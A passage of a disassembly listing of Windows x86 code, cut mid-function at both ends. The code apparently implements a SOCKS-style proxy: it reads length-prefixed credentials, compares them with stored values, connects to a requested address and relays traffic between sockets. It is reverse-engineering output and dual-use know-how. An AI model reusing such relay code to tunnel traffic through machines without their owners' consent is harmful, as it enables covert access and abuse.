mov [esp+540h+var_500], 0FFFFFFFFh
mov [esp+540h+var_504], 1
nop
call near ptr 71AB2DC0h
push 0
push 0
push 0
lea edx, [esp+538h+var_400]
push 3FFh
push edx
push edi
call near ptr 71AB2D0Fh
nop
push 10h
mov esi, eax
push ebx
push 0
lea eax, [esp+538h+var_400]
push esi
push eax
push 0FFFFFFFFh
call ebp ; sendto
test esi, esi
jbe short loc_42BA56
cmp esi, 0FFFFFFFFh
jnz short loc_42B9F9
loc_42BA56: ; CODE XREF: sub_42B8E0+16Fj
mov esi, dword_511C9C
push edi
call esi ; closesocket
push 0FFFFFFFFh
call esi ; closesocket
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
add esp, 51Ch
retn 0Ch
; ---------------------------------------------------------------------------
loc_42BA72: ; CODE XREF: sub_42B8E0+35j
; sub_42B8E0+86j ...
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 51Ch
retn 0Ch
sub_42B8E0 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 70h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42BB00 proc near ; CODE XREF: sub_42C5C0:loc_4013A2j
var_82C = dword ptr -82Ch
var_828 = dword ptr -828h
var_824 = dword ptr -824h
var_820 = dword ptr -820h
var_81C = byte ptr -81Ch
var_81A = word ptr -81Ah
var_818 = dword ptr -818h
var_80C = dword ptr -80Ch
var_808 = dword ptr -808h
var_7E8 = dword ptr -7E8h
var_7E4 = dword ptr -7E4h
var_708 = byte ptr -708h
var_707 = byte ptr -707h
var_705 = dword ptr -705h
var_604 = word ptr -604h
var_600 = dword ptr -600h
var_5F0 = byte ptr -5F0h
var_200 = byte ptr -200h
var_100 = byte ptr -100h
arg_0 = dword ptr 4
sub esp, 82Ch
push ebx
push ebp
push esi
mov esi, [esp+838h+arg_0]
cmp esi, 0FFFFFFFFh
push edi
mov ebp, ecx
mov [esp+83Ch+var_828], 0
mov [esp+83Ch+var_82C], 0Bh
mov [esp+83Ch+var_808], esi
mov [esp+83Ch+var_80C], 1
jz loc_42BDBA
mov eax, [ebp-8]
mov ecx, [eax+4]
mov ax, [ecx+ebp-2]
cmp ax, 1
jnz loc_42BED6
mov edi, dword_511C94
lea edx, [esp+83Ch+var_82C]
push edx
push 0
lea eax, [esp+844h+var_80C]
push 0
push eax
push 1
call edi ; select
test eax, eax
jle loc_42BF63
lea ecx, [esp+83Ch+var_80C]
push ecx
push esi
call sub_438256
; ---------------------------------------------------------------------------
dd 840FC085h, 3E3h, 16A066Ah, 0E890026Ah, 71688005h, 89FFF883h
dd 0F1C2444h, 22184h, 0A41D8B00h, 6A00511Ch, 24948D00h
dd 240h, 5652026Ah, 0BC80D3FFh, 23C24h, 850F0500h, 1FEh
dd 2484BE0Fh, 23Dh, 948DC933h, 23C24h, 248C8900h, 23Ch
dd 40248C89h, 66000002h, 44248C89h, 51000002h, 88565250h
dd 256248Ch, 0D3FF0000h, 26A006Ah, 4472F868h, 8BE85600h
dd 90716886h, 1024448Dh, 30244C8Dh, 6A006A50h, 16A5100h
dd 282444C7h, 0
; ---------------------------------------------------------------------------
mov [esp+82Ch+var_808], 7
mov [esp+82Ch+var_7E4], esi
mov [esp+82Ch+var_7E8], 1
call edi ; select
xor eax, eax
lea edx, [esp+82Ch+var_5F0]
push eax
mov ecx, 20h
lea edi, [esp+830h+var_5F0]
push 2
push edx
push esi
rep stosd
call ebx ; socket
cmp byte ptr [esp+83Ch+var_600], 1
jnz loc_42BDBA
movsx eax, byte ptr [esp+83Ch+var_600+1]
push 0
lea ecx, [esp+840h+var_200]
push eax
push ecx
push esi
call ebx ; socket
movsx edx, byte ptr [esp+83Ch+var_600+1]
push 0
lea eax, [esp+840h+var_600]
push 1
push eax
push esi
mov [esp+edx+84Ch+var_200], 0
call ebx ; socket
movsx ecx, byte ptr [esp+83Ch+var_600]
push 0
lea edx, [esp+840h+var_100]
push ecx
push edx
push esi
call ebx ; socket
movsx eax, byte ptr [esp+83Ch+var_600]
mov ecx, [ebp-8]
mov [esp+eax+83Ch+var_100], 0
mov ecx, [ecx+4]
add ecx, ebp
call sub_4017EE
mov edi, eax
lea ecx, [esp+83Ch+var_200]
loc_42BCCB: ; CODE XREF: sub_42BB00+1E9j
mov dl, [ecx]
mov al, dl
cmp dl, [edi]
jnz short loc_42BCEF
test al, al
jz short loc_42BCEB
mov dl, [ecx+1]
mov al, dl
cmp dl, [edi+1]
jnz short loc_42BCEF
add ecx, 2
add edi, 2
test al, al
jnz short loc_42BCCB
loc_42BCEB: ; CODE XREF: sub_42BB00+1D5j
xor eax, eax
jmp short loc_42BCF4
; ---------------------------------------------------------------------------
loc_42BCEF: ; CODE XREF: sub_42BB00+1D1j
; sub_42BB00+1DFj
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_42BCF4: ; CODE XREF: sub_42BB00+1EDj
test eax, eax
jz short loc_42BD51
mov eax, [ebp-8]
mov ecx, [eax+4]
lea ecx, [ecx+ebp+15h]
call sub_4017EE
lea edi, [esp+83Ch+var_100]
loc_42BD0E: ; CODE XREF: sub_42BB00+22Cj
mov dl, [edi]
mov cl, dl
cmp dl, [eax]
jnz short loc_42BD32
test cl, cl
jz short loc_42BD2E
mov dl, [edi+1]
mov cl, dl
cmp dl, [eax+1]
jnz short loc_42BD32
add edi, 2
add eax, 2
test cl, cl
jnz short loc_42BD0E
loc_42BD2E: ; CODE XREF: sub_42BB00+218j
xor eax, eax
jmp short loc_42BD37
; ---------------------------------------------------------------------------
loc_42BD32: ; CODE XREF: sub_42BB00+214j
; sub_42BB00+222j
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_42BD37: ; CODE XREF: sub_42BB00+230j
test eax, eax
jz short loc_42BD51
push esi
nop
call near ptr 71AB9639h
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 82Ch
retn 4
; ---------------------------------------------------------------------------
loc_42BD51: ; CODE XREF: sub_42BB00+1F6j
; sub_42BB00+239j
mov edi, dword_511CA0
push 0
push 2
push offset dword_4472F4
push esi
call edi ; send
lea eax, [esp+83Ch+var_82C]
lea ecx, [esp+83Ch+var_80C]
push eax
push 0
push 0
push ecx
push 1
mov [esp+850h+var_808], esi
mov [esp+850h+var_80C], 1
nop
call near ptr 71AB2DC0h
lea edx, [esp+83Ch+var_80C]
push edx
push esi
call sub_438256
; ---------------------------------------------------------------------------
test eax, eax
jz short loc_42BDBA
push 0
lea eax, [esp+840h+var_708]
push 4
push eax
push esi
call ebx ; socket
mov eax, [esp+83Ch+var_705]
and eax, 0FFh
dec eax
jz short loc_42BE21
sub eax, 2
jz short loc_42BDC9
dec eax
loc_42BDB8: ; CODE XREF: sub_42BB00+31Fj
jnz short loc_42BE30
loc_42BDBA: ; CODE XREF: sub_42BB00+32j
; sub_42BB00+154j ...
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 82Ch
retn 4
; ---------------------------------------------------------------------------
loc_42BDC9: ; CODE XREF: sub_42BB00+2B5j
push 0
lea ecx, [esp+840h+var_600]
push 1
push ecx
push esi
call ebx ; socket
movsx edx, byte ptr [esp+83Ch+var_600]
push 0
lea eax, [esp+840h+var_705+1]
push edx
push eax
push esi
call ebx ; socket
movsx ecx, byte ptr [esp+83Ch+var_600]
lea edx, [esp+83Ch+var_600]
lea eax, [esp+83Ch+var_705+1]
mov byte ptr [esp+ecx+83Ch+var_705+1], 0
mov ecx, [ebp-8]
push edx
push eax
mov edx, [ecx+4]
lea ecx, [edx+ebp-8]
call sub_401758
test al, al
jmp short loc_42BDB8
; ---------------------------------------------------------------------------
loc_42BE21: ; CODE XREF: sub_42BB00+2B0j
push 0
lea eax, [esp+840h+var_600]
push 4
push eax
push esi
call ebx ; socket
loc_42BE30: ; CODE XREF: sub_42BB00:loc_42BDB8j
push 0
lea ecx, [esp+840h+var_604]
push 2
push ecx
push esi
call ebx ; socket
cmp [esp+83Ch+var_707], 1
jnz loc_42BDBA
mov ebx, [esp+83Ch+var_820]
mov dx, [esp+83Ch+var_604]
mov eax, [esp+83Ch+var_600]
lea ecx, [esp+83Ch+var_81C]
push 10h
push ecx
push ebx
mov word ptr [esp+848h+var_81C], 2
mov [esp+848h+var_81A], dx
mov [esp+848h+var_818], eax
nop
call near ptr 71AB406Ah
test eax, eax
jnz loc_42BDBA
push eax
push 4
push offset dword_4472EC
push esi
call edi ; send
push 0
lea edx, [esp+840h+var_600]
push 4
push edx
push esi
call edi ; send
push 0
lea eax, [esp+840h+var_604]
push 2
push eax
push esi
call edi ; send
mov ecx, [ebp-8]
push ebx
push esi
mov edx, [ecx+4]
lea ecx, [edx+ebp-8]
call sub_4020E0
push ebx
nop
call near ptr 71AB9639h
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
add esp, 82Ch
retn 4
; ---------------------------------------------------------------------------
loc_42BED6: ; CODE XREF: sub_42BB00+47j
cmp ax, 2
jnz loc_42BF63
mov ebx, dword_511C94
loc_42BEE6: ; CODE XREF: sub_42BB00+461j
lea eax, [esp+83Ch+var_82C]
lea ecx, [esp+83Ch+var_80C]
push eax
push 0
push 0
push ecx
push 1
mov [esp+850h+var_808], esi
mov [esp+850h+var_80C], 1
call ebx ; select
lea edx, [esp+83Ch+var_824]
lea eax, [esp+83Ch+var_81C]
push edx
push eax
push 0
lea ecx, [esp+848h+var_600]
push 3FFh
push ecx
push esi
mov [esp+854h+var_824], 10h
call near ptr 71AB2D0Fh
nop
mov ecx, [ebp-8]
mov edi, eax
lea edx, [esp+83Ch+var_600]
push edi
push edx
mov edx, [ecx+4]
lea eax, [esp+844h+var_81C]
push eax
lea ecx, [edx+ebp-8]
call sub_401C30
test edi, edi
jz short loc_42BF63
cmp edi, 0FFFFFFFFh
jz short loc_42BF63
lea eax, [esp+83Ch+var_80C]
push eax
push esi
call sub_438256
; ---------------------------------------------------------------------------
test eax, eax
jnz short loc_42BEE6
loc_42BF63: ; CODE XREF: sub_42BB00+67j
; sub_42BB00+3DAj ...
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
add esp, 82Ch
retn 4
sub_42BB00 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 120h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42C0A0 proc near ; CODE XREF: sub_401F37j
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
sub esp, 10h
push esi
mov esi, ecx
mov eax, [esi+32h]
test eax, eax
jz short loc_42C0B4
xor al, al
pop esi
add esp, 10h
retn
; ---------------------------------------------------------------------------
loc_42C0B4: ; CODE XREF: sub_42C0A0+Bj
xor eax, eax
mov ax, [esi+6]
dec eax
jz short loc_42C0C6
dec eax
jz short loc_42C0E8
mov word ptr [esi+6], 1
loc_42C0C6: ; CODE XREF: sub_42C0A0+1Bj
mov eax, 1
mov ecx, 6
loc_42C0D0: ; CODE XREF: sub_42C0A0+52j
push ecx
push eax
push 2
nop
call near ptr 71AB3B91h
test eax, eax
mov [esi+32h], eax
jnz short loc_42C0F4
xor al, al
pop esi
add esp, 10h
retn
; ---------------------------------------------------------------------------
loc_42C0E8: ; CODE XREF: sub_42C0A0+1Ej
mov eax, 2
mov ecx, 11h
jmp short loc_42C0D0
; ---------------------------------------------------------------------------
loc_42C0F4: ; CODE XREF: sub_42C0A0+3Fj
mov ax, [esi+4]
mov [esp+14h+var_10], 2
push eax
mov [esp+18h+var_C], 0
nop
call near ptr 71AB2B66h
mov edx, [esi+32h]
lea ecx, [esp+14h+var_10]
push 10h
push ecx
push edx
mov [esp+20h+var_E], ax
nop
call near ptr 71AB3E00h
test eax, eax
jz short loc_42C139
mov eax, [esi+32h]
push eax
nop
call near ptr 71AB9639h
xor al, al
pop esi
add esp, 10h
retn
; ---------------------------------------------------------------------------
loc_42C139: ; CODE XREF: sub_42C0A0+86j
cmp word ptr [esi+6], 1
jnz short loc_42C161
mov ecx, [esi+32h]
push 3
push ecx
nop
call near ptr 71AB88D3h
test eax, eax
jz short loc_42C161
mov edx, [esi+32h]
push edx
call near ptr 71AB9639h
nop
xor al, al
pop esi
add esp, 10h
retn
; ---------------------------------------------------------------------------
loc_42C161: ; CODE XREF: sub_42C0A0+9Ej
; sub_42C0A0+AEj
mov al, 1
pop esi
add esp, 10h
retn
sub_42C0A0 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42C1B0 proc near ; CODE XREF: sub_401DD4j
var_24 = byte ptr -24h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset SEH_42C1B0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 18h
push ebx
push esi
push edi
mov edi, ecx
mov [ebp+var_10], esp
mov ax, [edi+6]
cmp ax, 1
jnz short loc_42C24A
mov eax, [edi+32h]
mov [ebp+var_14], 10h
test eax, eax
jz short loc_42C231
mov ebx, dword_511C98
lea ecx, [ebp+var_14]
lea edx, [ebp+var_24]
push ecx
push edx
push eax
call ebx ; accept
mov esi, eax
test esi, esi
jnz short loc_42C216
loc_42C202: ; CODE XREF: sub_42C1B0+64j
mov edx, [edi+32h]
lea eax, [ebp+var_14]
lea ecx, [ebp+var_24]
push eax
push ecx
push edx
call ebx ; accept
mov esi, eax
test esi, esi
jz short loc_42C202
loc_42C216: ; CODE XREF: sub_42C1B0+50j
mov eax, [edi]
push esi
mov ecx, edi
mov [ebp+var_4], 0
call dword ptr [eax]
push esi
mov bl, al
nop
call near ptr 71AB9639h
test bl, bl
jnz short loc_42C26A
loc_42C231: ; CODE XREF: sub_42C1B0+39j
; sub_42C1B0+9Ej ...
xor al, al
mov ecx, [ebp+var_C]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
loc_42C244: ; DATA XREF: ___:00442FB4o
mov eax, offset loc_42C231
retn
; ---------------------------------------------------------------------------
loc_42C24A: ; CODE XREF: sub_42C1B0+2Bj
cmp ax, 2
jnz short loc_42C231
mov eax, [edi+32h]
mov edx, [edi]
push eax
mov ecx, edi
call dword ptr [edx]
mov ecx, [edi+32h]
mov bl, al
push ecx
nop
call near ptr 71AB9639h
test bl, bl
jz short loc_42C231
loc_42C26A: ; CODE XREF: sub_42C1B0+7Fj
mov ecx, [ebp+var_C]
pop edi
pop esi
mov al, 1
mov large fs:0, ecx
pop ebx
mov esp, ebp
pop ebp
retn
sub_42C1B0 endp
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 40h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42C2C0: ; CODE XREF: ___:00401F96j
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset loc_43CEC0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ebx
push esi
mov esi, [ebp+8]
push edi
mov [ebp-10h], esp
mov dword ptr [ebp-4], 0
mov eax, [esi]
mov ecx, [eax+4]
mov eax, [ecx+esi+32h]
add ecx, esi
push eax
mov edx, [ecx]
call dword ptr [edx]
mov ecx, [esi]
mov edx, [ecx+4]
mov eax, [edx+esi+32h]
push eax
nop
call near ptr 71AB9639h
loc_42C309: ; DATA XREF: ___:loc_42C321o
mov ecx, [ebp-0Ch]
pop edi
pop esi
mov eax, 1
mov large fs:0, ecx
pop ebx
mov esp, ebp
pop ebp
retn 4
; ---------------------------------------------------------------------------
loc_42C321: ; DATA XREF: ___:00443014o
mov eax, offset loc_42C309
retn
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42C350 proc near ; CODE XREF: sub_401C2Bj
var_19C = byte ptr -19Ch
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_4 = byte ptr 8
arg_1C = byte ptr 20h
push 0FFFFFFFFh
push offset SEH_42C350
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 194h
lea eax, [esp+1A0h+var_19C]
mov [esp+1A0h+var_4], 1
push eax
push 2
nop
call near ptr 71AB664Dh
test eax, eax
jz short loc_42C3C7
loc_42C387: ; CODE XREF: ___:0042C456j
lea ecx, [esp+1A0h+arg_4]
mov byte ptr [esp+1A0h+var_4], 0
call sub_401226
lea ecx, [esp+1A0h+arg_1C]
mov [esp+1A0h+var_4], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+1A0h+var_C]
mov large fs:0, ecx
add esp, 1A0h
retn
; ---------------------------------------------------------------------------
loc_42C3C7: ; CODE XREF: sub_42C350+35j
push 42h
call sub_437AEA
sub_42C350 endp
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+0], eax
test eax, eax
mov byte ptr [esp+19Ch], 2
jz short loc_42C3EC
push 1
mov ecx, eax
call sub_4014F1
jmp short loc_42C3EE
; ---------------------------------------------------------------------------
loc_42C3EC: ; CODE XREF: ___:0042C3DFj
xor eax, eax
loc_42C3EE: ; CODE XREF: ___:0042C3EAj
mov dword_5103A4, eax
mov ecx, [eax]
mov byte ptr [esp+19Ch], 1
mov edx, [ecx+4]
mov cx, [esp+1A4h]
mov [edx+eax+4], cx
mov eax, dword_5103A4
lea edx, [esp+1A8h]
mov ecx, [eax]
push edx
mov edx, [ecx+4]
lea ecx, [edx+eax+8]
call sub_40202C
lea eax, [esp+1C0h]
push eax
mov eax, dword_5103A4
mov ecx, [eax]
mov edx, [ecx+4]
lea ecx, [edx+eax+1Dh]
call sub_40202C
mov eax, dword_5103A4
mov ecx, [eax]
mov ecx, [ecx+4]
add ecx, eax
call sub_401F37
test al, al
jz loc_42C387
loc_42C45C: ; CODE XREF: ___:0042C46Dj
mov eax, dword_5103A4
mov edx, [eax]
mov ecx, [edx+4]
add ecx, eax
call sub_401DD4
jmp short loc_42C45C
; ---------------------------------------------------------------------------
db 90h
db 50h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42C4C0 proc near ; CODE XREF: sub_4014F1j
var_4 = dword ptr -4
arg_0 = dword ptr 4
push ecx
mov eax, [esp+4+arg_0]
push esi
test eax, eax
mov esi, ecx
mov [esp+8+var_4], 0
jz short loc_42C4E2
lea ecx, [esi+8]
mov dword ptr [esi], offset dword_43F190
call sub_4014B5
loc_42C4E2: ; CODE XREF: sub_42C4C0+12j
mov eax, [esi]
mov ecx, [eax+4]
mov dword ptr [ecx+esi], offset off_43F18C
mov edx, [esi]
mov eax, [edx+4]
lea ecx, [eax-8]
mov [eax+esi-4], ecx
mov eax, esi
pop esi
pop ecx
retn 4
sub_42C4C0 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42C530 proc near ; CODE XREF: sub_4014B5j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_42C530
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+8]
call sub_40142E
lea ecx, [esi+1Dh]
mov [esp+14h+var_4], 0
call sub_40142E
mov ecx, [esp+14h+var_C]
mov dword ptr [esi], offset off_43F19C
mov dword ptr [esi+32h], 0
mov word ptr [esi+6], 1
mov word ptr [esi+4], 0
mov dword ptr [esi+36h], 1000h
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_42C530 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42C5C0 proc near ; CODE XREF: sub_4020EFj
; FUNCTION CHUNK AT 004013A2 SIZE 00000005 BYTES
sub ecx, [ecx-4]
jmp loc_4013A2
sub_42C5C0 endp
; ---------------------------------------------------------------------------
align 10h
loc_42C5D0: ; CODE XREF: ___:00401352j
push 0FFFFFFFFh
push offset loc_43CF38
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+4], esi
call sub_401FA0
push offset off_444D54
lea ecx, [esi+11h]
mov dword ptr [esp+14h], 0
mov dword ptr [esi], offset off_43F1A0
call sub_4015E1
mov ecx, [esp+8]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
; ---------------------------------------------------------------------------
db 90h
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42C640 proc near ; CODE XREF: ___:00401398j sub_401F5Fj
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_4011BD
test [esp+4+arg_0], 1
jz short loc_42C658
push esi
call sub_437AD2
; ---------------------------------------------------------------------------
add esp, 4
loc_42C658: ; CODE XREF: sub_42C640+Dj
mov eax, esi
pop esi
retn 4
sub_42C640 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_42C670 proc near ; CODE XREF: sub_4011BDj
jmp sub_4017A8
sub_42C670 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42C690: ; CODE XREF: ___:loc_40134Dj
mov eax, 1000h
call sub_437B30
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov eax, [esi+99h]
mov cl, [eax+11Ch]
test cl, cl
jz short loc_42C71C
mov ebx, dword_511CA4
mov ebp, dword_511CA0
loc_42C6BC: ; CODE XREF: ___:0042C71Aj
mov edx, [esi+9Dh]
mov ecx, 400h
xor eax, eax
lea edi, [esp+10h]
rep stosd
push eax
mov eax, [edx+0A5h]
lea ecx, [esp+14h]
push 1000h
push ecx
push eax
call ebx ; recv
test eax, eax
jz short loc_42C71C
cmp eax, 0FFFFFFFFh
jz short loc_42C71C
mov edx, [esi+9Dh]
push 0
push eax
lea ecx, [esp+18h]
mov eax, [edx+0A1h]
push ecx
push eax
call ebp ; send
test eax, eax
jz short loc_42C71C
cmp eax, 0FFFFFFFFh
jz short loc_42C71C
mov ecx, [esi+99h]
mov al, [ecx+11Ch]
test al, al
jnz short loc_42C6BC
loc_42C71C: ; CODE XREF: ___:0042C6AEj
; ___:0042C6E5j ...
mov edx, [esi+9Dh]
pop edi
pop esi
pop ebp
mov eax, [edx+0A1h]
pop ebx
cmp eax, 0FFFFFFFFh
jz short loc_42C738
push eax
nop
call near ptr 71AB9639h
loc_42C738: ; CODE XREF: ___:0042C72Fj
add esp, 1000h
retn
; ---------------------------------------------------------------------------
db 90h
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42C770 proc near ; CODE XREF: sub_40166Dj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_42C770
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_401FA0
push offset off_444D54
lea ecx, [esi+11h]
mov [esp+18h+var_4], 0
mov dword ptr [esi], offset off_43F1B0
call sub_4015E1
mov ecx, [esp+14h+var_C]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_42C770 endp
; ---------------------------------------------------------------------------
db 90h
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42C7E0 proc near ; CODE XREF: ___:004013A7j sub_401B36j
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_401217
test [esp+4+arg_0], 1
jz short loc_42C7F8
push esi
call sub_437AD2
; ---------------------------------------------------------------------------
add esp, 4
loc_42C7F8: ; CODE XREF: sub_42C7E0+Dj
mov eax, esi
pop esi
retn 4
sub_42C7E0 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_42C810 proc near ; CODE XREF: sub_401217j
jmp sub_4017A8
sub_42C810 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42C830 proc near ; CODE XREF: sub_401537j
var_50 = byte ptr -50h
var_40 = byte ptr -40h
var_30 = byte ptr -30h
var_28 = dword ptr -28h
var_20 = byte ptr -20h
var_1C = dword ptr -1Ch
var_C = byte ptr -0Ch
var_A = word ptr -0Ah
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
mov eax, 1014h
call sub_437B30
push ebx
push ebp
push esi
mov esi, ecx
push edi
or edi, 0FFFFFFFFh
mov eax, [esi+99h]
mov [esi+0A5h], edi
mov cl, [eax+11Ch]
test cl, cl
jz loc_42C9FA
mov ebx, 1
push 6
push ebx
push 2
nop
call near ptr 71AB3B91h
cmp eax, edi
mov [esi+0A5h], eax
jnz short loc_42C888
mov [esi+0A5h], edi
pop edi
pop esi
pop ebp
pop ebx
add esp, 1014h
retn
; ---------------------------------------------------------------------------
loc_42C888: ; CODE XREF: sub_42C830+45j
mov dx, [esi+3Fh]
xor ecx, ecx
mov [esp+1Ch+var_8], ecx
push edx
mov [esp+20h+var_4], ecx
mov word ptr [esp+20h+var_8], 2
mov [esp+20h], ecx
mov [esp+20h+arg_0], ecx
call near ptr 71AB2B66h
nop
lea ecx, [esi+43h]
mov [esp+20h+var_A], ax
call sub_4017EE
push eax
call sub_40188E
add esp, 4
cmp eax, edi
mov [esp+20h+var_8], eax
jnz short loc_42C8E2
mov eax, [esi+0A5h]
push eax
nop
call near ptr 71AB9639h
pop edi
pop esi
pop ebp
pop ebx
add esp, 1014h
retn
; ---------------------------------------------------------------------------
loc_42C8E2: ; CODE XREF: sub_42C830+98j
mov edx, [esi+0A5h]
lea ecx, [esp+20h+var_C]
push 10h
push ecx
push edx
call near ptr 71AB406Ah
nop
cmp eax, edi
jnz short loc_42C912
mov eax, [esi+0A5h]
push eax
nop
call near ptr 71AB9639h
pop edi
pop esi
pop ebp
pop ebx
add esp, 1014h
retn
; ---------------------------------------------------------------------------
loc_42C912: ; CODE XREF: sub_42C830+C8j
mov edx, [esi+0A1h]
mov edi, dword_511CAC
lea ecx, [esp+2Ch+var_1C]
mov [esp+2Ch+var_1C], ebx
push ecx
push 8004667Eh
push edx
call edi ; ioctlsocket
mov ecx, [esi+0A5h]
lea eax, [esp+38h+var_28]
push eax
push 8004667Eh
push ecx
mov [esp+44h+var_28], ebx
call edi ; ioctlsocket
mov edx, [esi+99h]
mov al, [edx+11Ch]
test al, al
jz loc_42C9FA
mov ebx, dword_511CA4
mov ebp, dword_511CA0
loc_42C966: ; CODE XREF: sub_42C830+1BAj
mov ecx, [esi+0A5h]
push 0
lea eax, [esp+48h+var_20]
push 1000h
push eax
push ecx
call ebx ; recv
mov edi, eax
test edi, edi
jz short loc_42C9FA
jge short loc_42C990
nop
call near ptr 71AB94DCh
cmp eax, 2733h
jnz short loc_42C9F2
loc_42C990: ; CODE XREF: sub_42C830+151j
mov eax, [esi+0A1h]
push 0
lea edx, [esp+58h+var_30]
push edi
push edx
push eax
call ebp ; send
mov edx, [esi+0A1h]
push 0
lea ecx, [esp+68h+var_40]
push 1000h
push ecx
push edx
call ebx ; recv
mov edi, eax
test edi, edi
jz short loc_42C9FA
jge short loc_42C9CB
nop
call near ptr 71AB94DCh
cmp eax, 2733h
jnz short loc_42C9F2
loc_42C9CB: ; CODE XREF: sub_42C830+18Cj
mov ecx, [esi+0A5h]
push 0
lea eax, [esp+78h+var_50]
push edi
push eax
push ecx
call ebp ; send
mov edx, [esi+99h]
mov al, [edx+11Ch]
test al, al
jnz loc_42C966
jmp short loc_42C9FA
; ---------------------------------------------------------------------------
loc_42C9F2: ; CODE XREF: sub_42C830+15Ej
; sub_42C830+199j
push 0Ah
nop
call near ptr 2831C1Ah
loc_42C9FA: ; CODE XREF: sub_42C830+27j
; sub_42C830+124j ...
mov eax, [esi+0A1h]
mov edi, dword_511C9C
cmp eax, 0FFFFFFFFh
jz short loc_42CA0E
push eax
call edi ; closesocket
loc_42CA0E: ; CODE XREF: sub_42C830+1D9j
mov esi, [esi+0A5h]
cmp esi, 0FFFFFFFFh
jz short loc_42CA1C
push esi
call edi ; closesocket
loc_42CA1C: ; CODE XREF: sub_42C830+1E7j
pop edi
pop esi
pop ebp
pop ebx
add esp, 1014h
retn
sub_42C830 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 80h dup(0CCh)
db 6Ah ; j
db 0FFh
db 68h ; h
db 78h ; x
db 0CFh ; Ï
db 43h ; C
db 0
db 64h ; d
db 0A1h ; ¡
db 0
db 0
db 0
db 0
db 50h ; P
db 64h ; d
db 89h ; ‰
db 25h ; %
db 0
db 0
db 0
db 0
db 51h ; Q
db 56h ; V
db 8Bh ; ‹
db 0F1h ; ñ
db 89h ; ‰
db 74h ; t
db 24h ; $
db 4
db 0E8h ; è
db 0CEh ; Î
db 54h ; T
db 0FDh ; ý
db 0FFh
db 68h ; h
db 54h ; T
db 4Dh ; M
db 44h ; D
db 0
db 8Dh ;
db 4Eh ; N
db 11h
db 0C7h ; Ç
db 44h ; D
db 24h ; $
db 14h
db 0
db 0
db 0
db 0
db 0C7h ; Ç
db 6
db 0C0h ; À
db 0F1h ; ñ
db 43h ; C
db 0
db 0E8h ; è
db 0F4h ; ô
db 4Ah ; J
db 0FDh ; ý
db 0FFh
db 8Bh ; ‹
db 4Ch ; L
db 24h ; $
db 8
db 8Bh ; ‹
db 0C6h ; Æ
db 5Eh ; ^
db 64h ; d
db 89h ; ‰
db 0Dh
db 0
db 0
db 0
db 0
db 83h ; ƒ
db 0C4h ; Ä
db 10h
db 0C3h ; Ã
db 90h
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42CB20: ; CODE XREF: ___:loc_4015FAj
; ___:00401FC8j
push esi
mov esi, ecx
call sub_401B9F
